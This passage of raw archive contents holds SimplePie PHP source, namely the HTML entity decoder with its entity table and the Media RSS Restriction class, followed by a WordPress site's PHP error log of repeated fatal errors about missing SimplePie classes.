 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Decode HTML Entities
 *
 * This implements HTML5 as of revision 967 (2007-06-28)
 *
 * @deprecated Use DOMDocument instead!
 * @package SimplePie
 */
class SimplePie_Decode_HTML_Entities
{
	/**
	 * Data to be parsed
	 *
	 * @access private
	 * @var string
	 */
	var $data = '';

	/**
	 * Currently consumed bytes
	 *
	 * @access private
	 * @var string
	 */
	var $consumed = '';

	/**
	 * Position of the current byte being parsed
	 *
	 * @access private
	 * @var int
	 */
	var $position = 0;

	/**
	 * Create an instance of the class with the input data
	 *
	 * @access public
	 * @param string $data Input data
	 */
	public function __construct($data)
	{
		$this->data = $data;
	}

	/**
	 * Parse the input data
	 *
	 * @access public
	 * @return string Output data
	 */
	public function parse()
	{
		while (($this->position = strpos($this->data, '&', $this->position)) !== false)
		{
			$this->consume();
			$this->entity();
			$this->consumed = '';
		}
		return $this->data;
	}

	/**
	 * Consume the next byte
	 *
	 * @access private
	 * @return mixed The next byte, or false, if there is no more data
	 */
	public function consume()
	{
		if (isset($this->data[$this->position]))
		{
			$this->consumed .= $this->data[$this->position];
			return $this->data[$this->position++];
		}

		return false;
	}

	/**
	 * Consume a range of characters
	 *
	 * @access private
	 * @param string $chars Characters to consume
	 * @return mixed A series of characters that match the range, or false
	 */
	public function consume_range($chars)
	{
		if ($len = strspn($this->data, $chars, $this->position))
		{
			$data = substr($this->data, $this->position, $len);
			$this->consumed .= $data;
			$this->position += $len;
			return $data;
		}

		return false;
	}

	/**
	 * Unconsume one byte
	 *
	 * @access private
	 */
	public function unconsume()
	{
		$this->consumed = substr($this->consumed, 0, -1);
		$this->position--;
	}

	/**
	 * Decode an entity
	 *
	 * @access private
	 */
	public function entity()
	{
		switch ($this->consume())
		{
			case "\x09":
			case "\x0A":
			case "\x0B":
			case "\x0C":
			case "\x20":
			case "\x3C":
			case "\x26":
			case false:
				break;

			case "\x23":
				switch ($this->consume())
				{
					case "\x78":
					case "\x58":
						$range = '0123456789ABCDEFabcdef';
						$hex = true;
						break;

					default:
						$range = '0123456789';
						$hex = false;
						$this->unconsume();
						break;
				}

				if ($codepoint = $this->consume_range($range))
				{
					static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8");

					if ($hex)
					{
						$codepoint = hexdec($codepoint);
					}
					else
					{
						$codepoint = intval($codepoint);
					}

					if (isset($windows_1252_specials[$codepoint]))
					{
						$replacement = $windows_1252_specials[$codepoint];
					}
					else
					{
						$replacement = SimplePie_Misc::codepoint_to_utf8($codepoint);
					}

					if (!in_array($this->consume(), array(';', false), true))
					{
						$this->unconsume();
					}

					$consumed_length = strlen($this->consumed);
					$this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length);
					$this->position += strlen($replacement) - $consumed_length;
				}
				break;

			default:
				static $entities = array(
					'Aacute' => "\xC3\x81",
					'aacute' => "\xC3\xA1",
					'Aacute;' => "\xC3\x81",
					'aacute;' => "\xC3\xA1",
					'Acirc' => "\xC3\x82",
					'acirc' => "\xC3\xA2",
					'Acirc;' => "\xC3\x82",
					'acirc;' => "\xC3\xA2",
					'acute' => "\xC2\xB4",
					'acute;' => "\xC2\xB4",
					'AElig' => "\xC3\x86",
					'aelig' => "\xC3\xA6",
					'AElig;' => "\xC3\x86",
					'aelig;' => "\xC3\xA6",
					'Agrave' => "\xC3\x80",
					'agrave' => "\xC3\xA0",
					'Agrave;' => "\xC3\x80",
					'agrave;' => "\xC3\xA0",
					'alefsym;' => "\xE2\x84\xB5",
					'Alpha;' => "\xCE\x91",
					'alpha;' => "\xCE\xB1",
					'AMP' => "\x26",
					'amp' => "\x26",
					'AMP;' => "\x26",
					'amp;' => "\x26",
					'and;' => "\xE2\x88\xA7",
					'ang;' => "\xE2\x88\xA0",
					'apos;' => "\x27",
					'Aring' => "\xC3\x85",
					'aring' => "\xC3\xA5",
					'Aring;' => "\xC3\x85",
					'aring;' => "\xC3\xA5",
					'asymp;' => "\xE2\x89\x88",
					'Atilde' => "\xC3\x83",
					'atilde' => "\xC3\xA3",
					'Atilde;' => "\xC3\x83",
					'atilde;' => "\xC3\xA3",
					'Auml' => "\xC3\x84",
					'auml' => "\xC3\xA4",
					'Auml;' => "\xC3\x84",
					'auml;' => "\xC3\xA4",
					'bdquo;' => "\xE2\x80\x9E",
					'Beta;' => "\xCE\x92",
					'beta;' => "\xCE\xB2",
					'brvbar' => "\xC2\xA6",
					'brvbar;' => "\xC2\xA6",
					'bull;' => "\xE2\x80\xA2",
					'cap;' => "\xE2\x88\xA9",
					'Ccedil' => "\xC3\x87",
					'ccedil' => "\xC3\xA7",
					'Ccedil;' => "\xC3\x87",
					'ccedil;' => "\xC3\xA7",
					'cedil' => "\xC2\xB8",
					'cedil;' => "\xC2\xB8",
					'cent' => "\xC2\xA2",
					'cent;' => "\xC2\xA2",
					'Chi;' => "\xCE\xA7",
					'chi;' => "\xCF\x87",
					'circ;' => "\xCB\x86",
					'clubs;' => "\xE2\x99\xA3",
					'cong;' => "\xE2\x89\x85",
					'COPY' => "\xC2\xA9",
					'copy' => "\xC2\xA9",
					'COPY;' => "\xC2\xA9",
					'copy;' => "\xC2\xA9",
					'crarr;' => "\xE2\x86\xB5",
					'cup;' => "\xE2\x88\xAA",
					'curren' => "\xC2\xA4",
					'curren;' => "\xC2\xA4",
					'Dagger;' => "\xE2\x80\xA1",
					'dagger;' => "\xE2\x80\xA0",
					'dArr;' => "\xE2\x87\x93",
					'darr;' => "\xE2\x86\x93",
					'deg' => "\xC2\xB0",
					'deg;' => "\xC2\xB0",
					'Delta;' => "\xCE\x94",
					'delta;' => "\xCE\xB4",
					'diams;' => "\xE2\x99\xA6",
					'divide' => "\xC3\xB7",
					'divide;' => "\xC3\xB7",
					'Eacute' => "\xC3\x89",
					'eacute' => "\xC3\xA9",
					'Eacute;' => "\xC3\x89",
					'eacute;' => "\xC3\xA9",
					'Ecirc' => "\xC3\x8A",
					'ecirc' => "\xC3\xAA",
					'Ecirc;' => "\xC3\x8A",
					'ecirc;' => "\xC3\xAA",
					'Egrave' => "\xC3\x88",
					'egrave' => "\xC3\xA8",
					'Egrave;' => "\xC3\x88",
					'egrave;' => "\xC3\xA8",
					'empty;' => "\xE2\x88\x85",
					'emsp;' => "\xE2\x80\x83",
					'ensp;' => "\xE2\x80\x82",
					'Epsilon;' => "\xCE\x95",
					'epsilon;' => "\xCE\xB5",
					'equiv;' => "\xE2\x89\xA1",
					'Eta;' => "\xCE\x97",
					'eta;' => "\xCE\xB7",
					'ETH' => "\xC3\x90",
					'eth' => "\xC3\xB0",
					'ETH;' => "\xC3\x90",
					'eth;' => "\xC3\xB0",
					'Euml' => "\xC3\x8B",
					'euml' => "\xC3\xAB",
					'Euml;' => "\xC3\x8B",
					'euml;' => "\xC3\xAB",
					'euro;' => "\xE2\x82\xAC",
					'exist;' => "\xE2\x88\x83",
					'fnof;' => "\xC6\x92",
					'forall;' => "\xE2\x88\x80",
					'frac12' => "\xC2\xBD",
					'frac12;' => "\xC2\xBD",
					'frac14' => "\xC2\xBC",
					'frac14;' => "\xC2\xBC",
					'frac34' => "\xC2\xBE",
					'frac34;' => "\xC2\xBE",
					'frasl;' => "\xE2\x81\x84",
					'Gamma;' => "\xCE\x93",
					'gamma;' => "\xCE\xB3",
					'ge;' => "\xE2\x89\xA5",
					'GT' => "\x3E",
					'gt' => "\x3E",
					'GT;' => "\x3E",
					'gt;' => "\x3E",
					'hArr;' => "\xE2\x87\x94",
					'harr;' => "\xE2\x86\x94",
					'hearts;' => "\xE2\x99\xA5",
					'hellip;' => "\xE2\x80\xA6",
					'Iacute' => "\xC3\x8D",
					'iacute' => "\xC3\xAD",
					'Iacute;' => "\xC3\x8D",
					'iacute;' => "\xC3\xAD",
					'Icirc' => "\xC3\x8E",
					'icirc' => "\xC3\xAE",
					'Icirc;' => "\xC3\x8E",
					'icirc;' => "\xC3\xAE",
					'iexcl' => "\xC2\xA1",
					'iexcl;' => "\xC2\xA1",
					'Igrave' => "\xC3\x8C",
					'igrave' => "\xC3\xAC",
					'Igrave;' => "\xC3\x8C",
					'igrave;' => "\xC3\xAC",
					'image;' => "\xE2\x84\x91",
					'infin;' => "\xE2\x88\x9E",
					'int;' => "\xE2\x88\xAB",
					'Iota;' => "\xCE\x99",
					'iota;' => "\xCE\xB9",
					'iquest' => "\xC2\xBF",
					'iquest;' => "\xC2\xBF",
					'isin;' => "\xE2\x88\x88",
					'Iuml' => "\xC3\x8F",
					'iuml' => "\xC3\xAF",
					'Iuml;' => "\xC3\x8F",
					'iuml;' => "\xC3\xAF",
					'Kappa;' => "\xCE\x9A",
					'kappa;' => "\xCE\xBA",
					'Lambda;' => "\xCE\x9B",
					'lambda;' => "\xCE\xBB",
					'lang;' => "\xE3\x80\x88",
					'laquo' => "\xC2\xAB",
					'laquo;' => "\xC2\xAB",
					'lArr;' => "\xE2\x87\x90",
					'larr;' => "\xE2\x86\x90",
					'lceil;' => "\xE2\x8C\x88",
					'ldquo;' => "\xE2\x80\x9C",
					'le;' => "\xE2\x89\xA4",
					'lfloor;' => "\xE2\x8C\x8A",
					'lowast;' => "\xE2\x88\x97",
					'loz;' => "\xE2\x97\x8A",
					'lrm;' => "\xE2\x80\x8E",
					'lsaquo;' => "\xE2\x80\xB9",
					'lsquo;' => "\xE2\x80\x98",
					'LT' => "\x3C",
					'lt' => "\x3C",
					'LT;' => "\x3C",
					'lt;' => "\x3C",
					'macr' => "\xC2\xAF",
					'macr;' => "\xC2\xAF",
					'mdash;' => "\xE2\x80\x94",
					'micro' => "\xC2\xB5",
					'micro;' => "\xC2\xB5",
					'middot' => "\xC2\xB7",
					'middot;' => "\xC2\xB7",
					'minus;' => "\xE2\x88\x92",
					'Mu;' => "\xCE\x9C",
					'mu;' => "\xCE\xBC",
					'nabla;' => "\xE2\x88\x87",
					'nbsp' => "\xC2\xA0",
					'nbsp;' => "\xC2\xA0",
					'ndash;' => "\xE2\x80\x93",
					'ne;' => "\xE2\x89\xA0",
					'ni;' => "\xE2\x88\x8B",
					'not' => "\xC2\xAC",
					'not;' => "\xC2\xAC",
					'notin;' => "\xE2\x88\x89",
					'nsub;' => "\xE2\x8A\x84",
					'Ntilde' => "\xC3\x91",
					'ntilde' => "\xC3\xB1",
					'Ntilde;' => "\xC3\x91",
					'ntilde;' => "\xC3\xB1",
					'Nu;' => "\xCE\x9D",
					'nu;' => "\xCE\xBD",
					'Oacute' => "\xC3\x93",
					'oacute' => "\xC3\xB3",
					'Oacute;' => "\xC3\x93",
					'oacute;' => "\xC3\xB3",
					'Ocirc' => "\xC3\x94",
					'ocirc' => "\xC3\xB4",
					'Ocirc;' => "\xC3\x94",
					'ocirc;' => "\xC3\xB4",
					'OElig;' => "\xC5\x92",
					'oelig;' => "\xC5\x93",
					'Ograve' => "\xC3\x92",
					'ograve' => "\xC3\xB2",
					'Ograve;' => "\xC3\x92",
					'ograve;' => "\xC3\xB2",
					'oline;' => "\xE2\x80\xBE",
					'Omega;' => "\xCE\xA9",
					'omega;' => "\xCF\x89",
					'Omicron;' => "\xCE\x9F",
					'omicron;' => "\xCE\xBF",
					'oplus;' => "\xE2\x8A\x95",
					'or;' => "\xE2\x88\xA8",
					'ordf' => "\xC2\xAA",
					'ordf;' => "\xC2\xAA",
					'ordm' => "\xC2\xBA",
					'ordm;' => "\xC2\xBA",
					'Oslash' => "\xC3\x98",
					'oslash' => "\xC3\xB8",
					'Oslash;' => "\xC3\x98",
					'oslash;' => "\xC3\xB8",
					'Otilde' => "\xC3\x95",
					'otilde' => "\xC3\xB5",
					'Otilde;' => "\xC3\x95",
					'otilde;' => "\xC3\xB5",
					'otimes;' => "\xE2\x8A\x97",
					'Ouml' => "\xC3\x96",
					'ouml' => "\xC3\xB6",
					'Ouml;' => "\xC3\x96",
					'ouml;' => "\xC3\xB6",
					'para' => "\xC2\xB6",
					'para;' => "\xC2\xB6",
					'part;' => "\xE2\x88\x82",
					'permil;' => "\xE2\x80\xB0",
					'perp;' => "\xE2\x8A\xA5",
					'Phi;' => "\xCE\xA6",
					'phi;' => "\xCF\x86",
					'Pi;' => "\xCE\xA0",
					'pi;' => "\xCF\x80",
					'piv;' => "\xCF\x96",
					'plusmn' => "\xC2\xB1",
					'plusmn;' => "\xC2\xB1",
					'pound' => "\xC2\xA3",
					'pound;' => "\xC2\xA3",
					'Prime;' => "\xE2\x80\xB3",
					'prime;' => "\xE2\x80\xB2",
					'prod;' => "\xE2\x88\x8F",
					'prop;' => "\xE2\x88\x9D",
					'Psi;' => "\xCE\xA8",
					'psi;' => "\xCF\x88",
					'QUOT' => "\x22",
					'quot' => "\x22",
					'QUOT;' => "\x22",
					'quot;' => "\x22",
					'radic;' => "\xE2\x88\x9A",
					'rang;' => "\xE3\x80\x89",
					'raquo' => "\xC2\xBB",
					'raquo;' => "\xC2\xBB",
					'rArr;' => "\xE2\x87\x92",
					'rarr;' => "\xE2\x86\x92",
					'rceil;' => "\xE2\x8C\x89",
					'rdquo;' => "\xE2\x80\x9D",
					'real;' => "\xE2\x84\x9C",
					'REG' => "\xC2\xAE",
					'reg' => "\xC2\xAE",
					'REG;' => "\xC2\xAE",
					'reg;' => "\xC2\xAE",
					'rfloor;' => "\xE2\x8C\x8B",
					'Rho;' => "\xCE\xA1",
					'rho;' => "\xCF\x81",
					'rlm;' => "\xE2\x80\x8F",
					'rsaquo;' => "\xE2\x80\xBA",
					'rsquo;' => "\xE2\x80\x99",
					'sbquo;' => "\xE2\x80\x9A",
					'Scaron;' => "\xC5\xA0",
					'scaron;' => "\xC5\xA1",
					'sdot;' => "\xE2\x8B\x85",
					'sect' => "\xC2\xA7",
					'sect;' => "\xC2\xA7",
					'shy' => "\xC2\xAD",
					'shy;' => "\xC2\xAD",
					'Sigma;' => "\xCE\xA3",
					'sigma;' => "\xCF\x83",
					'sigmaf;' => "\xCF\x82",
					'sim;' => "\xE2\x88\xBC",
					'spades;' => "\xE2\x99\xA0",
					'sub;' => "\xE2\x8A\x82",
					'sube;' => "\xE2\x8A\x86",
					'sum;' => "\xE2\x88\x91",
					'sup;' => "\xE2\x8A\x83",
					'sup1' => "\xC2\xB9",
					'sup1;' => "\xC2\xB9",
					'sup2' => "\xC2\xB2",
					'sup2;' => "\xC2\xB2",
					'sup3' => "\xC2\xB3",
					'sup3;' => "\xC2\xB3",
					'supe;' => "\xE2\x8A\x87",
					'szlig' => "\xC3\x9F",
					'szlig;' => "\xC3\x9F",
					'Tau;' => "\xCE\xA4",
					'tau;' => "\xCF\x84",
					'there4;' => "\xE2\x88\xB4",
					'Theta;' => "\xCE\x98",
					'theta;' => "\xCE\xB8",
					'thetasym;' => "\xCF\x91",
					'thinsp;' => "\xE2\x80\x89",
					'THORN' => "\xC3\x9E",
					'thorn' => "\xC3\xBE",
					'THORN;' => "\xC3\x9E",
					'thorn;' => "\xC3\xBE",
					'tilde;' => "\xCB\x9C",
					'times' => "\xC3\x97",
					'times;' => "\xC3\x97",
					'TRADE;' => "\xE2\x84\xA2",
					'trade;' => "\xE2\x84\xA2",
					'Uacute' => "\xC3\x9A",
					'uacute' => "\xC3\xBA",
					'Uacute;' => "\xC3\x9A",
					'uacute;' => "\xC3\xBA",
					'uArr;' => "\xE2\x87\x91",
					'uarr;' => "\xE2\x86\x91",
					'Ucirc' => "\xC3\x9B",
					'ucirc' => "\xC3\xBB",
					'Ucirc;' => "\xC3\x9B",
					'ucirc;' => "\xC3\xBB",
					'Ugrave' => "\xC3\x99",
					'ugrave' => "\xC3\xB9",
					'Ugrave;' => "\xC3\x99",
					'ugrave;' => "\xC3\xB9",
					'uml' => "\xC2\xA8",
					'uml;' => "\xC2\xA8",
					'upsih;' => "\xCF\x92",
					'Upsilon;' => "\xCE\xA5",
					'upsilon;' => "\xCF\x85",
					'Uuml' => "\xC3\x9C",
					'uuml' => "\xC3\xBC",
					'Uuml;' => "\xC3\x9C",
					'uuml;' => "\xC3\xBC",
					'weierp;' => "\xE2\x84\x98",
					'Xi;' => "\xCE\x9E",
					'xi;' => "\xCE\xBE",
					'Yacute' => "\xC3\x9D",
					'yacute' => "\xC3\xBD",
					'Yacute;' => "\xC3\x9D",
					'yacute;' => "\xC3\xBD",
					'yen' => "\xC2\xA5",
					'yen;' => "\xC2\xA5",
					'yuml' => "\xC3\xBF",
					'Yuml;' => "\xC5\xB8",
					'yuml;' => "\xC3\xBF",
					'Zeta;' => "\xCE\x96",
					'zeta;' => "\xCE\xB6",
					'zwj;' => "\xE2\x80\x8D",
					'zwnj;' => "\xE2\x80\x8C"
				);

				for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++)
				{
					$consumed = substr($this->consumed, 1);
					if (isset($entities[$consumed]))
					{
						$match = $consumed;
					}
				}

				if ($match !== null)
				{
 					$this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1);
					$this->position += strlen($entities[$match]) - strlen($consumed) - 1;
				}
				break;
		}
	}
}
PKWd[�Uʎsrc/Restriction.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `<media:restriction>` as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_restriction()} and {@see \SimplePie\Enclosure::get_restrictions()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_restriction_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Restriction
{
    /**
     * Relationship ('allow'/'deny')
     *
     * @var string
     * @see get_relationship()
     */
    public $relationship;

    /**
     * Type of restriction
     *
     * @var string
     * @see get_type()
     */
    public $type;

    /**
     * Restricted values
     *
     * @var string
     * @see get_value()
     */
    public $value;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct($relationship = null, $type = null, $value = null)
    {
        $this->relationship = $relationship;
        $this->type = $type;
        $this->value = $value;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the relationship
     *
     * @return string|null Either 'allow' or 'deny'
     */
    public function get_relationship()
    {
        if ($this->relationship !== null) {
            return $this->relationship;
        }

        return null;
    }

    /**
     * Get the type
     *
     * @return string|null
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }

    /**
     * Get the list of restricted things
     *
     * @return string|null
     */
    public function get_value()
    {
        if ($this->value !== null) {
            return $this->value;
        }

        return null;
    }
}

class_alias('SimplePie\Restriction', 'SimplePie_Restriction');
PKWd[�7�=�[�[
src/error_lognu�[���[28-Oct-2025 08:26:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[28-Oct-2025 08:27:13 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[28-Oct-2025 08:27:17 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[28-Oct-2025 08:27:30 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[28-Oct-2025 08:30:06 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[28-Oct-2025 08:37:01 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[28-Oct-2025 21:30:16 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[28-Oct-2025 21:30:16 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[28-Oct-2025 21:30:19 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[28-Oct-2025 21:30:30 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[28-Oct-2025 21:31:03 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[28-Oct-2025 21:33:07 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[28-Oct-2025 21:42:05 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[28-Oct-2025 21:42:35 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[28-Oct-2025 21:45:34 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[28-Oct-2025 21:50:43 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[28-Oct-2025 21:51:47 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[28-Oct-2025 21:52:51 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
